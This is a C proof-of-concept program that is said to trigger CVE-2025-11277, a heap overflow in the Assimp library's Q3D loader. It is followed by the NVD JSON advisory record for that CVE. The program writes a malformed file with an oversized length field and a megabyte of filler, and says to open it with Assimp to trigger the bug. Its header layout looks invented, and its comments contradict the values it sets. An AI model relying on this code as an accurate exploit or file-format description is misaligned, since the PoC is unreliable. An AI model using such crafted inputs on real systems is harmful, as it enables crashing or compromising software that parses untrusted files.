CVE-2025-11277

// CVE-2025-11277 - Assimp Q3DLoader Heap-based Buffer Overflow PoC // This PoC demonstrates the vulnerability in Q3DImporter::InternReadFile // The malicious Q3D file is crafted to trigger heap buffer overflow // during parsing of Q3D format data. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Q3D file format header structure typedef struct { char magic[4]; // File magic bytes "q3D\0" uint32_t version; // Format version uint32_t num_meshes; // Number of meshes uint32_t data_size; // Size of mesh data (overly large value triggers overflow) } Q3DHeader; // Function to generate malicious Q3D file int generate_poc(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { perror("Failed to create PoC file"); return -1; } // Write Q3D header with normal magic and version Q3DHeader header; memcpy(header.magic, "q3D\0", 4); header.version = 1; header.num_meshes = 1; // Set data_size to an abnormally large value to trigger heap buffer overflow // The parser allocates a buffer based on this size but the actual data // written exceeds the allocated heap memory region header.data_size = 0xFFFFFF; fwrite(&header, sizeof(Q3DHeader), 1, fp); // Write malicious payload data that exceeds expected buffer size // This data will overflow the heap buffer allocated by InternReadFile uint8_t payload[4096]; memset(payload, 'A', sizeof(payload)); // Write multiple chunks of overflow data for (int i = 0; i < 256; i++) { fwrite(payload, 1, sizeof(payload), fp); } fclose(fp); printf("[+] Malicious Q3D file generated: %s\n", filename); printf("[+] Use Assimp to open this file to trigger CVE-2025-11277\n"); return 0; } int main(int argc, char* argv[]) { const char* output_file = (argc > 1) ? argv[1] : "poc.q3d"; return generate_poc(output_file); }

{"cve": {"id": "CVE-2025-11277", "sourceIdentifier": "[email protected]", "published": "2025-10-05T02:15:37.470", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Open Asset Import Library Assimp 6.0.2. This affects the function Q3DImporter::InternReadFile of the file assimp/code/AssetLib/Q3D/Q3DLoader.cpp. Executing a manipulation can lead to heap-based buffer overflow. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:assimp:assimp:6.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "B5BC643B-B249-45CC-A377-45E37EB62AEA"}]}]}], "references": [{"url": "https://github.com/assimp/assimp/issues/6358", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/user-attachments/files/22422643/poc.zip", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://vuldb.com/?ctiid.327011", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327011", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.658912", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}